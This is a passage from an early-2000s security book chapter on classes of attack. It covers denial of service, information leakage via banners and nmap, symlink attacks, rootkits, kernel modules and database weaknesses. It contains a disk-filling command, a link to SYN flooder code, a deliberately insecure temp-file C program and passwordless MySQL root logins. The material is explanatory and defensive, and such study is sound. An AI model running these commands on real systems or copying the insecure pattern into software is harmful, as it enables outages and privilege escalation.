arrays and software that monitors storage abuse, disk space will continue to be a bottleneck to all systems. Software-based solutions such as per-user storage quotas are designed to alleviate this problem. This type of attack prevents the creation of new files and the growth of existing files. An added problem is that some UNIX systems will crash when the root partition reaches storage capacity. Although this isn¡¦t a design flaw on the part of UNIX itself, a properly administered system should include a separate partition for the log facilities, such as /var, and a separate partition for users, such as the /home directory on Linux systems, or /export/home on Sun systems. Attackers can use this type of denial of service to crash systems, such as when a disk layout hasn¡¦t been designed with user and log partitions on a separate slice. They can also use it to obscure activities of a user by generating a large amount of events that are logged to via syslog, filling the partition on which logs are stored and making it impossible for syslog to log any further activity. Such an attack is trivial to launch. A local user can simply perform the following command: cat /dev/zero > ~/maliciousfile This command will concatenate data from the /dev/zero device file (which simply generates zeros) into maliciousfile, continuing until either the user stops the process, or the capacity of the partition is filled. A disk space exhaustion attack could also be leveraged through such attacks as mail bombing. Although this is an old concept, it is not commonly seen.The reasons are perhaps that mail is easily traced via SMTP headers, and although open relays can be used, finding the purveyor of a mail bomb is not rocket science. For www.syngress.com 50 Chapter 3 ¡E Classes of Attack this reason, most mail bombers find themselves either without Internet access, jailed, or both. Inode Exhaustion The last type of local denial of service attack we discuss is inode exhaustion, similar to the disk capacity attack. Inode exhaustion attacks are focused specifically on the design of the file system.The term inode is an acronym for the words index node. Index nodes are an essential part of the UNIX file system. An inode contains information essential to the management of the file system.This information includes, at a minimum, the owner of a file, the group membership of a file, the type of file, the permissions, size, and block addresses containing the data of the file.When a file system is formatted, a finite number of inodes are created to handle the indexing of files with that slice. An inode exhaustion attack focuses on using up all the available inodes for the partition. Exhaustion of these resources creates a similar situation to that of the disk space attack, leaving the system unable to create new files.This type of attack is usually leveraged to cripple a system and prevent the logging of system events, especially those activities of the attacker. Network Vector Denial of Service Denial of service attacks launched via a network vector can essentially be broken down into one of two categories: an attack that affects a specific service, or an attack that targets an entire system.The severity and danger of these attacks vary signifi- cantly.These types of attacks are designed to produce inconvenience, and are often launched as a retaliatory attack. To speak briefly about the psychology behind these attacks, network vector denial of service attacks are, by and large, the choice method of cowards.The reasons, ranging from digital vigilantism to Internet Relay Chat (IRC) turf wars, matter not. Freely and readily available tools make a subculture (and I¡¦ll borrow the term coined by Jose Oquendo¡Xalso known as sil of antioffline.com fame) called script kiddiots possible.The term script kiddiot, broken down into base form, would define script as ¡§a prewritten program to be run by a user,¡¨ and kiddiot being a combination of the words kid and idiot. Fitting.The availability of these tools gives these individuals the power of anonymity and ability to cause a nuisance, while requiring little or no technical knowledge.The only group with more responsibility for these attacks than the script kiddiots is the group of professionals who continue to make them possible through such things as lack of egress filtering. www.syngress.com Classes of Attack ¡E Chapter 3 51 Network vector attacks, as mentioned, can affect specific services or an entire system; depending on who is targeted and why, these types of attacks include client, service, and system-directed denials of service.The following sections look at each of these types of denial of service in a little more detail. Client-Side Network DoS Client-side denials of service are typically targeted at a specific product.Their purpose is to render the user of the client incapable of performing any activity with the client. One such attack is through the use of what¡¦s called JavaScript bombs. By default, most Web browsers enable JavaScript.This is apparent anytime one visits a Web site, and a pop-up or pop-under ad is displayed. However, JavaScript can also be used in a number of malicious ways, one of which is to launch a denial of service attack against a client. Using the same technique that advertisers use to create a new window with an advertisement, an attacker can create a malicious Web page consisting of a never-ending loop of window creation.The end result is that so many windows are ¡§popped up,¡¨ the system becomes resourcebound. This is an example of a client-side attack, denying service to the user by exercising a resource starvation attack as we previously discussed, but using the network as a vector.This is only one of many client-side attacks, with others affecting products such as the AOL Instant Messenger, the ICQ Instant Message Client, and similar software. Service-Based Network DoS Another type of denial of service attack launched via networks is service-based attacks. A service based attack is intended to target a specific service, rendering it unavailable to legitimate users.These attacks are typically launched at a service such as a Hypertext Transfer Protocol Daemon (HTTPD), Mail Transport Agent (MTA), or other such service that users typically require. An example of this problem is a vulnerability that was discovered in the Web configuration infrastructure of the Cisco Broadband Operating System (CBOS). When the Code Red worm began taking advantage of Microsoft¡¦s Internet Information Server (IIS) 5.0 Web servers the world over, the worm was discovered to be indiscriminate in the type of Web server it attacked. It would scan networks searching for Web servers, and attempt to exploit any Web server it encountered. www.syngress.com 52 Chapter 3 ¡E Classes of Attack A side effect of this worm was that although some hosts were not vulnerable to the malicious payload it carried, some hosts were vulnerable in a different way. CBOS was one of these scenarios. Upon receiving multiple Transmission Control Protocol (TCP) connections via port 80 from Code Red infected hosts, CBOS would crash. Though this vulnerability was discovered as a casualty of another, the problem could be exploited by a user with one of any readily available network auditing tools. After attack, the router would be incapable of configuration, requiring a power-cycling of the router to make the configuration facility available.This is a classic example of an attack directed specifically at one service. System-Directed Network DoS A denial of service directed towards a system via the network vector is typically used to produce the same results as a local denial of service: degrading performance or making the system completely unavailable.A few approaches are typically seen in this type of attack, and they basically define the methods used in entirety. One is using an exploit to attack one system from another, leaving the target system inoperable.This type of attack was displayed by the land.c, Ping of Death, and teardrop exploits of a couple years ago, and the various TCP/IP fragmented packet vulnerabilities in products such as D-Link routers and the Microsoft ISA Server. Also along this line is the concept of SYN flooding.This attack can be launched in a variety of ways, from either one system on a network faster than the target system to multiple systems on large pipes.This type of attack is used mainly to degrade system performance.The SYN flood is accomplished by sending TCP connection requests faster than a system can process them.The target system sets aside resources to track each connection, so a great number of incoming SYNs can cause the target host to run out of resources for new legitimate connections.The source IP address is, as usual, spoofed so that when the target system attempts to respond with the second portion of the three-way handshake, a SYN-ACK (synchronization-acknowledgment), it receives no response. Some operating systems will retransmit the SYN-ACK a number of times before releasing the resources back to the system.The exploit code for the SYN flooder syn4k.c was written by Zakath.This SYN flooder allows you to select an address the packets will be spoofed from, as well as the ports to flood on the victim¡¦s system.We did not include the code here for the sake of brevity, but you can download it at www.cotse.com/sw/dos/syn/synk4.c. www.syngress.com Classes of Attack ¡E Chapter 3 53 One can detect a SYN flood coming from the preceding code by using a variety of tools, such as the netstat command shown in Figure 3.1, or through infrastructure such as network intrusion detection systems (IDSs). On several operating system platforms, using the ¡Vn parameter displays addresses and port numbers in numerical format, and the ¡Vp switch allows you to select only the protocol you are interested in viewing.This prevents all User Datagram Protocol (UDP) connections from being shown so that you can view only the connections you are interested in for this particular attack. Check the documentation for the version of netstat that is available on your operating system to ensure that you use the correct switches. Additionally, some operating systems support features such as TCP SYN cookies. Using SYN cookies is a method of connection establishment that uses cryptography for security.When a system receives a SYN, it returns a www.syngress.com Figure 3.1 Using netstat to Detect Incoming SYN Connections 54 Chapter 3 ¡E Classes of Attack SYN+ACK, as though the SYN queue is actually larger.When it receives an ACK back from the initiating system, it uses the recent value of the 32-bit time counter modulus 32, and passes it through the secret server-side function. If the value fits, the extracted maximum segment size (MSS) is used, and the SYN queue entry rebuilt. Let¡¦s also look at the topic of smurfing or packeting attacks, which are typically purveyed by the previously mentioned script kiddiots.The smurf attack performs a network vector denial of service against the target host.This attack relies on an intermediary, the router, to help, as shown in Figure 3.2.The attacker, spoofing the source IP address of the target host, generates a large amount of Internet Control Message Protocol (ICMP) echo traffic directed toward IP broadcast addresses.The router, also known as a smurf amplifier, converts the IP broadcast to a Layer 2 broadcast and sends it on its way. Each host that receives the broadcast responds back to the spoofed source IP with an echo reply. Depending on the number of hosts on the network, both the router and target host can be inundated with traffic.This can result in the decrease of network performance for the host being attacked, and depending on the number of amplifier networks used, the target network becoming saturated to capacity. www.syngress.com Figure 3.2 Diagram of a Smurf Attack Router IBM AS/400 IBM 3174 Cray Supercomputer Attacker sends spoofed ICMP packets to a smurf amplifying network. Packets enter router, and all hosts on the network respond to the spoofed source address. The target machine receives large amounts of ICMP ECHO traffic, degrading performance. Internet Classes of Attack ¡E Chapter 3 55 The last system-directed denial of service attack using the network vector is distributed denial of service (DDoS).This concept is similar to that of the previously mentioned smurf attack.The means of the attack, and method of which it is leveraged, however, is significantly different from that of smurf. This type of attack depends on the use of a client, masters, and daemons (also called zombies). Attackers use the client to initiate the attack by using masters, which are compromised hosts that have a special program on them allowing the control of multiple daemons. Daemons are compromised hosts that also have a special program running on them, and are the ones that generate the flow of packets to the target system.The current crop of DDoS tools includes trinoo, Tribe Flood Network,Tribe Flood Network 2000, stacheldraht, shaft, and mstream. In order for the DDoS to work, the special program must be placed on dozens or hundreds of ¡§agent¡¨ systems. Normally an automated procedure looks for hosts that can be compromised (buffer overflows in the remote procedure call [RPC] services statd, cmsd, and ttdbserverd, for example), and then places the special program on the compromised host. Once the DDoS attack is initiated, each of the agents sends the heavy stream of traffic to the target, inundating it with a flood of traffic.To learn more about detection of DDoS daemon machines, as well as each of the DDoS tools, visit David Dittrich¡¦s Web site at http://staff.washington.edu/dittrich/misc/ddos. www.syngress.com The Code Red Worm In July of 2001, a buffer overflow exploit for the Internet Server Application Programming Interface (ISAPI) filter of Microsoft¡¦s IIS was transformed into an automated program called a worm. The worm attacked IIS systems, exploited the hole, then used the compromised system to attack other IIS systems. The worm was designed to do two things, the first of which was to deface the Web page of the system it had infected. The second function of the worm was to coordinate a DDoS attack against the White House. The worm ended up failing, missing its target, mostly due to quick thinking of White House IT staff. The effects of the worm were not limited to vulnerable Windows systems, or the White House. The attack cluttered logs of HTTP servers Notes from the Underground¡K Continued 56 Chapter 3 ¡E Classes of Attack Information Leakage Information leakage can be likened to leaky pipes.Whenever something comes out, it is almost always undesirable and results in some sort of damage. Information leakage is typically an abused resource that precludes attack. In the same way that military generals rely on information from reconnaissance troops that have penetrated enemy lines to observe the type of weapons, manpower, supplies, and other resources possessed by the enemy, attackers enter the network to perform the same tasks, gathering information about programs, operating systems, and network design on the target network. Service Information Leakage Information leakage occurs in many forms. Banners are one example. Banners are the text presented to a user when they attempt to log into a system via any one of the many services. Banners can be found on such services as File Transfer Protocol (FTP), secure shell (SSH), telnet, Simple Mail Transfer Protocol (SMTP), and Post Office Protocol 3 (POP3). Many software packages for these services happily yield version information to outside users in their default configuration, as shown in Figure 3.3. Another similar problem is error messages. Services such as Web servers yield more than ample information about themselves when an exception condition is created. An exception condition is defined by a circumstance out of the ordinary, such as a request for a page that does not exist, or a command that is not recognized. In these situations, it is best to make use of the customizable error configurations supplied, or create a workaround configuration. Observe Figure 3.4 for a leaky error message from Apache. www.syngress.com not vulnerable to the attack, and was found to affect Cisco digital subscriber line (DSL) routers in a special way. Cisco DSL routers with the Web administration interface enabled were prone to become unstable and crash when the worm attacked them, creating a denial of service. This left users of Qwest, as well as some other major Internet service providers, without access at the height of the worm, due to the sheer volume of scanning. Classes of Attack ¡E Chapter 3 57 www.syngress.com Figure 3.3 Version of an SSH Daemon Figure 3.4 An HTTP Server Revealing Version Information 58 Chapter 3 ¡E Classes of Attack Protocol Information Leakage In addition to the previously mentioned cases of information leakage, there is also what is termed protocol analysis. Protocol analysis exists in numerous forms. One type of analysis is using the constraints of a protocol¡¦s design against a system to yield information about a system. Observe this FTP system type query: elliptic@ellipse:~$ telnet parabola.cipherpunks.com 21 Trying 192.168.1.2... Connected to parabola.cipherpunks.com. Escape character is '^]'. 220 parabola FTP server (Version: 9.2.1-4) ready. SYST 215 UNIX Type: L8 Version: SUNOS This problem also manifests itself in such services as HTTP. Observe the leakage of information through the HTTP HEAD command: elliptic@ellipse:~$ telnet www.cipherpunks.com 80 Trying 192.168.1.2... Connected to www.cipherpunks.com. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 05 Dec 2001 11:25:13 GMT Server: Apache/1.3.22 (Unix) Last-Modified: Wed, 28 Nov 2001 22:03:44 GMT ETag: "30438-44f-3c055f40" Accept-Ranges: bytes Content-Length: 1103 Connection: close Content-Type: text/html Connection closed by foreign host. Attackers also perform protocol analysis through a number of other methods. One such method is the analysis of responses to IP, an attack based on the previously mentioned concept, but working on a lower level. Automated tools, such as www.syngress.com Classes of Attack ¡E Chapter 3 59 the Network Mapper, or Nmap, provide an easy-to-use utility designed to gather information about a target system, including publicly reachable ports on the system, and the operating system of the target. Observe the output from an Nmap scan: elliptic@ellipse:~$ nmap -sS -O parabola.cipherpunks.com Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ ) Interesting ports on parabola.cipherpunks.com (192.168.1.2): (The 1533 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http Remote operating system guess: Solaris 2.6 - 2.7 Uptime 5.873 days (since Thu Nov 29 08:03:04 2001) Nmap run completed ¡X 1 IP address (1 host up) scanned in 67 seconds First, let¡¦s explain the flags used to scan parabola.The sS flag uses a SYN scan, exercising half-open connections to determine which ports are open on the host. The O flag tells Nmap to identify the operating system, if possible, based on known responses stored in a database. As you can see, Nmap was able to identify all open ports on the system, and accurately guess the operating system of parabola (which is actually a Solaris 7 system running on a Sparc). NOTE One notable project related to information leakage is the research being conducted by Ofir Arkin on ICMP. Ofir¡¦s site, www.sys-security.com, has several papers available that discuss the methods of using ICMP to gather sensitive information. Two such papers are ¡§Identifying ICMP Hackery Tools Used In The Wild Today,¡¨ and ¡§ICMP Usage In Scanning¡¨ available at www.sys-security.com/html/papers.html. They¡¦re not for the technically squeamish, but yield a lot of good information. www.syngress.com 60 Chapter 3 ¡E Classes of Attack All of these types of problems present information leakage, which could lead to an attacker gaining more than ample information about your network to launch a strategic attack. Leaky by Design This overall problem is not specific to system identification. Some programs happily and willingly yield sensitive information about network design. Protocols such as Simple Network Management Protocol (SNMP) use clear text communication to interact with other systems.To make matters worse, many SNMP implementations yield information about network design with minimal or easily guessed authentication requirements, ala community strings. Sadly, SNMP is still commonly used. Systems such as Cisco routers are capable of SNMP. Some operating systems, such as Solaris, install and start SNMP facilities by default. Aside from the other various vulnerabilities found in these programs, their default use is plain bad practice. Leaky Web Servers We previously mentioned some Web servers telling intrusive users about themselves in some scenarios.This is further complicated when things such as PHP, Common Gateway Interface (CGI), and powerful search engines are used. Like any other tool, these tools can be used in a constructive and creative way, or they can be used to harm. Things such as PHP, CGI, and search engines can be used to create interactive Web experiences, facilitate commerce, and create customizable environments for users.These infrastructures can also be used for malicious deeds if poorly designed. A quick view of the Attack Registry and Intelligence Service (ARIS) shows the number three type of attack as the ¡§Generic Directory Traversal Attack¡¨ (preceded only by the ISAPI and cmd.exe attacks, which, as of the time of current writing, are big with Code Red and Nimda variants).This is, of course, the dot-dot (..) attack, or the relative path attack (¡K) exercised by including dots within the URL to see if one can escape a directory and attain a listing, or execute programs on the Web server. Scripts that permit the traversal of directories not only allow one to escape the current directory and view a listing of files on the system, but they allow an attacker to read any file readable by the HTTP server processes ownership and group membership.This could allow a user to gain access to the passwd file in /etc or other nonprivileged files on UNIX systems, or on other implementations, www.syngress.com Classes of Attack ¡E Chapter 3 61 such as Microsoft Windows OSs, which could lead to the reading of (and, potentially, writing to) privileged files.Any of the data from this type of attack could be used to launch a more organized, strategic attack.Web scripts and applications should be the topic of diligent review prior to deployment. More information about ARIS is available at http://aris.securityfocus.com. A Hypothetical Scenario Other programs, such as Sendmail, will in many default implementations yield information about users on the system.To make matters worse, these programs use the user database as a directory for e-mail addresses. Although some folks may scoff at the idea of this being information leakage, take the following example into account. A small town has two Internet service providers (ISPs). ISP A is a newer ISP, and has experienced a significant growth in customer base. ISP B is the older ISP in town, with the larger percentage of customers. ISP B is fighting an all-out war with ISP A, obviously because ISP A is cutting into their market, and starting to gain ground on ISP B. ISP A, however, has smarter administrators that have taken advantage of various facilities to keep users from gaining access to sensitive information, using tricks such as hosting mail on a separate server, using different logins on the shell server to prevent users from gaining access to the database of mail addresses. ISP B, however, did not take such precautions. One day, the staff of ISP A get a bright idea, and obtains an account with ISP B.This account gives them a shell on ISP B¡¦s mail server, from which the passwd file is promptly snatched, and all of its users mailed about a great new deal at ISP A offering them no setup fee to change providers, and a significant discount under ISP B¡¦s current charges. As you can see, the leakage of this type of information can not only impact the security of systems, it can possibly bankrupt a business. Suppose that a company gained access to the information systems of their competitor.What is to stop them from stealing, lying, cheating, and doing everything they can to undermine their competition? The days of Internet innocence are over. Why Be Concerned with Information Leakage? Some groups are not concerned with information leakage.Their reasons for this are varied, including reasons such as the leakage of information can never be stopped, or that not yielding certain types of information from servers will break compliance with clients.This also includes the fingerprinting of systems, www.syngress.com 62 Chapter 3 ¡E Classes of Attack performed by matching a set of known responses by a system type to a table identifying the operating system of the host. Any intelligently designed operating system will at least give the option of either preventing fingerprinting, or creating a fingerprint difficult to identify without significant overhaul. Some go so far as to even allow the option of sending bogus fingerprints to overly intrusive hosts.The reasons for this are clear. Referring back to our previous scenario about military reconnaissance, any group that knows they are going to be attacked are going to make their best effort to conceal as much information about themselves as possible, in order to gain the advantage of secrecy and surprise.This could mean moving, camouflaging, or hiding troops, hiding physical resources, encrypting communications, and so forth.This limiting of information leakage leaves the enemy to draw their own conclusions with little information, thus increasing the margin of error. Just like an army risking attack by a formidable enemy, you must do your best to conceal your network resources from information leakage and intelligence gathering. Any valid information the attacker gains about one¡¦s position and perimeter gives the attacker intelligence from which they may draw conclusions and fabricate a strategy. Sealing the leakage of information forces the attacker to take more intrusive steps to gain information, increasing the probability of detection. Regular File Access Regular file access can give an attacker several different means from which to launch an attack. Regular file access may allow an attacker to gain access to sensitive information, such as the usernames or passwords of users on a system, as we discussed briefly in the ¡§Information Leakage¡¨ section. Regular file access could also lead to an attacker gaining access to other files in other ways, such as changing the permissions or ownership of a file, or through a symbolic link attack. Permissions One of the easiest ways to ensure the security of a file is to ensure proper permissions on the file.This is often one of the more overlooked aspects of system security. Some single-user systems, such as the Microsoft Windows 3.1/95/ 98/ME products, do not have a permission infrastructure. Multiuser hosts have at least one, and usually several means of access control. For example, UNIX systems and some Windows systems both have users and groups. UNIX systems, and Windows systems to some extent, allow the setting of attributes on files to dictate what user, and what group have access to perform www.syngress.com Classes of Attack ¡E Chapter 3 63 certain functions with a file. A user, or the owner of the file, may be authorized complete control over the file, having read, write, and execute permission over the file, while a user in the group assigned to the file may have permission to read, and execute the file. Additionally, users outside of the owner and group members may have a different set of permissions, or even no permissions at all. Many UNIX systems, in addition to the standard permission set of owner, group, and world, include a more granular method of allowing access to a file. These infrastructures vary in design, offering something as simple as the capability to specify which users have access to a file, to something as complex as assigning a member a role to allow a user access to a variety of utilities.The Solaris operating system has two such examples: Role-Based Access Control (RBAC), and Access Control Lists (ACLs). ACLs allow a user to specify which particular system users are permitted access to a file.The access list is tied to the owner and the group membership. It additionally uses the same method of permissions as the standard UNIX permission infrastructure. RBAC is a complex tool, providing varying layers of permission. It is customizable, capable of giving a user a broad, general role to perform functions such as adding users, changing some system configuration variables, and the like. It can also be limited to giving a user one specific function. NOTE More information about RBAC and ACLs are available in Syngress Publishing¡¦s Hack Proofing Sun Solaris 8 (ISBN 1-928994-44-X). Symbolic Link Attacks Symbolic link attacks are a problem that can typically be used by an attacker to perform a number of different functions.They can be used to change the permissions on a file.They can also be used to corrupt a file by appending data to it or by overwriting a file completely, destroying the contents. Symbolic link attacks are often launched from the temporary directory of a system.The problem is usually due to a programming error.When a vulnerable program is run, it creates a file with one of a couple attributes that make it vulnerable to being attacked. www.syngress.com 64 Chapter 3 ¡E Classes of Attack One attribute making the file vulnerable is permissions. If the file has been created with insecure permissions, the system will allow an attacker to alter it. This will permit the attacker to change the contents of the temporary file. Depending on the design of the program, if the attacker is able to alter the temporary file, any input placed in the temporary file could be passed to the user¡¦s session. Another attribute making the file vulnerable is the creation of insecure temporary files. In a situation where a program does not check for an existing file before creating it, and a user can guess the name of a temporary file before it is created, this vulnerability may be exploited.The vulnerability is exploited by creating a symbolic link to the target file, using a guessed file name that will be used in the future.The following example source code shows a program that creates a predictable temporary file: /* lameprogram.c - Hal Flynn <mrhal@mrhal.com> */ /* does not perform sufficient checks for a */ /* file before opening it and storing data */ #include <stdio.h> #include <unistd.h> int main() { char a[] = "This is my own special junk data storage.\n"; char junkpath[] = "/tmp/junktmp"; FILE *fp; fp = fopen(junkpath, "w"); fputs(a, fp); fclose(fp); unlink(junkpath); return(0); } This program creates the file /tmp/junktmp without first checking for the existence of the file. www.syngress.com Classes of Attack ¡E Chapter 3 65 When the user executes the program that creates the insecure temporary file, if the file to be created already exists in the form of a symbolic link, the file at the end of the link will be either overwritten or appended.This occurs if the user executing the vulnerable program has write-access to the file at the end of the symbolic link. Both of these types of attacks can lead to an elevation of privileges. Figures 3.5 and 3.6 show an exploitation of this program by user haxor to overwrite a file owned by the user ellipse. Misinformation The concept of misinformation can present itself in many ways. Let¡¦s go back to the military scenario. Suppose that guards are posted at various observation points in the field, and one of them observes the enemy¡¦s reconnaissance team.The guard alerts superiors, who send out their own reconnaissance team to find out exactly who is spying on them. www.syngress.com Figure 3.5 Haxor Creates a Malicious Symbolic Link 66 Chapter 3 ¡E Classes of Attack Now, you can guess that the enemy general has already thought about this scenario. Equally likely, he has also considered his options. He could hide all of his troops and make it appear as if nobody is there.¡§But what if somebody saw my forces entering the area¡¨ would be his next thought. And if the other side were to send a ¡§recon¡¨ team to scope out his position and strength, discovering his army greater than theirs, they would likely either fortify their position, or move to a different position where they would be more difficult to attack, or where they could not be found. Therefore, he wants to make his forces seem like less of a threat than they really are. He hides his heavy weapons, and the greater part of his infantry, while allowing visibility of only a small portion of his force.This is the same idea behind misinformation. www.syngress.com Figure 3.6 Ellipse Executes the Lameprogram, and the Data in Lamedata Is Overwritten Classes of Attack ¡E Chapter 3 67 Standard Intrusion Procedure The same concept of misinformation applies to systems.When an attacker has compromised a system, much effort is made to hide her presence and leave as much misinformation as possible. Attackers do this in any number of ways. One vulnerability in Sun Solaris can be taken advantage of by an attacker to send various types of misinformation.The problem is due to the handling of ACLs on pseudo-terminals allocated by the system. Upon accessing a terminal, the attacker could set an access control entry, then exit the terminal.When another user accessed the system using the same terminal, the previous owner of the terminal would retain write access to the terminal, allowing the previous owner to write custom-crafted information to the new owner¡¦s terminal.The following sections look at some of the methods used. Log Editing One method used by an attacker to send misinformation is log editing.When an attacker compromises a system, the desire is to stay unnoticed and untraceable as long as possible. Even better is if the attacker can generate enough noise to make the intrusion unnoticeable or to implicate somebody else in the attack. Let¡¦s go back to the previous discussion about denial of service.We talked about generating events to create log entries. An attacker could make an attempt to fill the log files, but a well-designed system will have plenty of space and a log rotation facility to prevent this. Instead, the attacker could resort to generating a large amount of events in an attempt to cloak their activity. Under the right circumstances, an attacker could create a high volume of various log events, causing one or more events that look similar to the entry made when an exploit is initiated. If the attacker gains administrative access on the system, any hopes of log integrity are lost.With administrative access, the attacker can edit the logs to remove any event that may indicate intrusion, or even change the logs to implicate another user in the attack. In the event of this happening, only outside systems that may be collecting system log data from the compromised machine or network intrusion detection systems may offer data with any integrity. Some tools include options to generate random data and traffic.This random data and traffic is called noise, and is usually used as either a diversionary tactic or an obfuscation technique. Noise can be used to fool an administrator into watching a different system or believing that a user other than the attacker, or several attackers, are launching attacks against the system. www.syngress.com 68 Chapter 3 ¡E Classes of Attack The goal of the attacker editing the logs is to produce one of a few effects. One effect would be the state of system well-being, as though nothing has happened. Another effect would be general and total confusion, such as conflicting log entries or logs fabricated to look as though a system process has gone wild¡X as said earlier, noise. Some tools, such as Nmap, include decoy features.The decoy feature can create this effect by making a scan look as though it is coming from several different hosts. Rootkits Another means of misinformation is the rootkit. A rootkit is a ready-made program designed to hide an attacker¡¦s activities inside a system. Several different types of rootkits exist, all with their own features and flaws. Rootkits are an attacker¡¦s first choice for keeping access to a system on a long-term basis. A rootkit works by replacing key programs on the system, such as ls, df, du, ps, sshd, and netstat on UNIX systems, or drivers, and Registry entries on Windows systems.The rootkit replaces these programs, and possibly others with the programs it contains, which are customized to not give administrative staff reliable details. Rootkits are used specifically to cloak the activity of the attacker and hide his presence inside the system. These packages are specifically designed to create misinformation.They create an appearance of all being well on the system. In the meantime, the attacker controls the system and launches attacks against new hosts, or he conducts other nefarious activities. Kernel Modules Kernel modules are pieces of code that may be loaded and unloaded by a running kernel. A kernel module is designed to provide additional functionality to a kernel when needed, allowing the kernel to unload the module when it is no longer needed to lighten the memory load. Kernel modules can be loaded to provide functionality such as support of a non-native file system or device control. Kernel modules may also have facinorous purposes. Malicious kernel modules are similar in purpose to rootkits.They are designed to create misinformation, leading administrators of a system to believe that all is well on the host.The module provides a means to cloak the attacker, allowing the attacker to carry out any desired deeds on the host. The kernel module functions in a different way from the standard rootkit. The programs of the rootkit act as a filter to prevent any data that may be incriminating from reaching administrators.The kernel module works on a much www.syngress.com Classes of Attack ¡E Chapter 3 69 lower level, intercepting information queries at the system call level, and filtering out any data that may alert administrative staff to the presence of unauthorized guests.This allows an attacker to compromise and backdoor a system without the danger of modifying system utilities, which could lead to detection. Kernel modules are becoming the standard in concealing intrusion. Upon intrusion, the attacker must simply load the module, and ensure that the module is loaded in the future by the system to maintain a degree of stealth that is diffi- cult to discover. From that point on, the module may never be discovered unless the drive is taken offline and mounted under a different instance of the operating system. Special File/Database Access Two other methods used to gain access to a system are through special files and database access.These types of files, although different in structure and function, exist on all systems and all platforms. From an NT system to a Sun Enterprise 15000 to a Unisys Mainframe, these files are common amongst all platforms. Attacks against Special Files The problem of attacks against special files becomes apparent when a user uses the RunAs service of Windows 2000.When a user executes a program with the RunAs function,Windows 2000 creates a named pipe on the system, storing the credentials in clear text. If the RunAs service is stopped, an attacker may create a named pipe of the same name.When the RunAs service is used again, the credentials supplied to the process will be communicated to the attacker.This allows an attacker to steal authentication credentials, and could allow the user to log in as the RunAs user. Attackers can take advantage of similar problems in UNIX systems. One such problem is the Solaris pseudo-terminal problems we mentioned previously. Red Hat Linux distribution 7.1 has a vulnerability in the upgrade portion of the package. A user upgrading a system and creating a swap file exposes herself to having swap memory snooped through.This is due to the creation of the swap file with world-readable permissions. An attacker on a system could arbitrarily create a heavy load on system memory, causing the system to use the swap file. In doing so, the attacker could make a number of copies of swap memory at different states, which could later be picked through for passwords or other sensitive information. www.syngress.com 70 Chapter 3 ¡E Classes of Attack Attacks against Databases At one point in my career, I had considered becoming an Oracle database administrator. I continued on with the systems and security segment of my career. As I got more exposure to database administration, I discovered the only thing I could think of that was as stressful as having the entire financial well-being of a company resting on me would be going to war. And given my pick of the two, I think I would take the latter. Databases present a world of opportunity to attackers. Fulfilling our human needs to organize, categorize, and label things, we have built central locations of information.These central locations are filled with all sorts of goodies, such as financial data, credit card information, payroll data, client lists, and so forth.The thought of insecure database software is enough to keep a CEO awake at night, let alone send a database administrator into a nervous breakdown. In these days of post-dot-com crash, e-commerce is still alive and well.And where there is commerce, there are databases. Risky Business Databases are forced to fight a two-front war.They are software, and are therefore subject to the problems that all software must face, such as buffer overflows, race conditions, denials of service, and the like. Additionally, databases are usually a backend for something else, such as a Web interface, graphical user interface tool, or otherwise. Databases are only as secure as the software they run and the interfaces they communicate with. Web interfaces tend to be a habitual problem for databases.The reasons for this are that Web interfaces fail to filter special characters or that they are designed poorly and allow unauthorized access, to name only two.This assertion is backed by the fact that holes are found in drop-in e-commerce packages on a regular basis. Handling user-supplied input is risky business. A user can, and usually will, supply anything to a Web front end. Sometimes this is ignorance on the part of the user, while other times this is the user attempting to be malicious. Scripts must be designed to filter out special characters such as the single quote ('), slash (/), backslash (\), and double quote (") characters, or this will quickly be taken advantage of.A front-end permitting the passing of special characters to a database will permit the execution of arbitrary commands, usually with the permission of the database daemons. www.syngress.com Classes of Attack ¡E Chapter 3 71 Poorly designed front-ends are a different story. A poorly designed front-end will permit a user to interact and manipulate the database in a number of ways. This can allow an attacker to view arbitrary tables, perform SQL commands, or even arbitrarily drop tables.These risks are nothing new, but the problems continue to occur. Database Software Database software is an entirely different collection of problems. A database is only as secure as the software it uses¡Xoftentimes, that isn¡¦t particularly reassuring. For example,Oracle has database software available for several different platforms. A vulnerability in the 8.1.5 through 8.1.7 versions of Oracle was discovered by Nishad Herath and Brock Tellier of Network Associates COVERT Labs. The problem they found was specifically in the TNS Listener program used with Oracle. For the unacquainted,TNS Listener manages and facilitates connections to the database. It does so by listening on an arbitrary data port, 1521/TCP in newer versions, and waiting for incoming connections. Once a connection is received, it allows a person with the proper credentials to log into a database. The vulnerability, exploited by sending a maliciously crafted Net8 packet to the TNS Listener process, allows an attacker to execute arbitrary code and gain local access on the system. For UNIX systems, this bug was severe, because it allowed an attacker to gain local access with the permissions of the Oracle user. For Windows systems, this bug was extremely severe, because it allowed an attacker to gain local access with LocalSystem privileges, equivalent to administrative access.We discuss code execution in the next section. SECURITY ALERT Oracle is not the only company with the problem described in this section. Browsing various exploit collections or the SecurityFocus vulnerability database, one can discover vulnerabilities in any number of database products, such as MySQL and Microsoft SQL. And although this may lead to the knee-jerk reaction of drawing conclusions about which product is more secure, do not be fooled. The numbers are deceptive, because these are only the known vulnerabilities. www.syngress.com 72 Chapter 3 ¡E Classes of Attack Database Permissions Finally, we discuss database permissions.The majority of these databases can use their own permission schemes separate from the operating system. For example, version 6.5 and earlier versions of Microsoft¡¦s SQL Server can be configured to use standard security, which means they use their internal login validation process and not the account validation provided with the operating system. SQL Server ships with a default system administrator account named SA that has a default null password.This account has administrator privileges over all databases on the entire server. Database administrators must ensure that they apply a password to the SA account as soon as they install the software to their server. Databases on UNIX can also use their own permission schemes. For example, MySQL maintains its own list of users separate from the list of users maintained by UNIX. MySQL has an account named root (which is not to be confused with the operating system¡¦s root account) that, by default, does not have a password. If you do not enter a password for MySQL¡¦s root account, then anyone can connect with full privileges by entering the following command: mysql ¡Vu root If an individual wanted to change items in the grant tables and root was not passworded, she could simply connect as root using the following command: mysql ¡Vu root mysql Even if you assign a password to the MySQL root account, users can connect as another user by simply substituting the other person¡¦s database account name in place of their own after the ¡Vu if you have not assigned a password to that particular MySQL user account. For this reason, assigning passwords to all MySQL users should be a standard practice in order to prevent unnecessary risk. Remote Arbitrary Code Execution Remote code execution is one of the most commonly used methods of exploiting systems. Several noteworthy attacks on high profile Web sites have been due to the ability to execute arbitrary code remotely. Remote arbitrary code is serious in nature 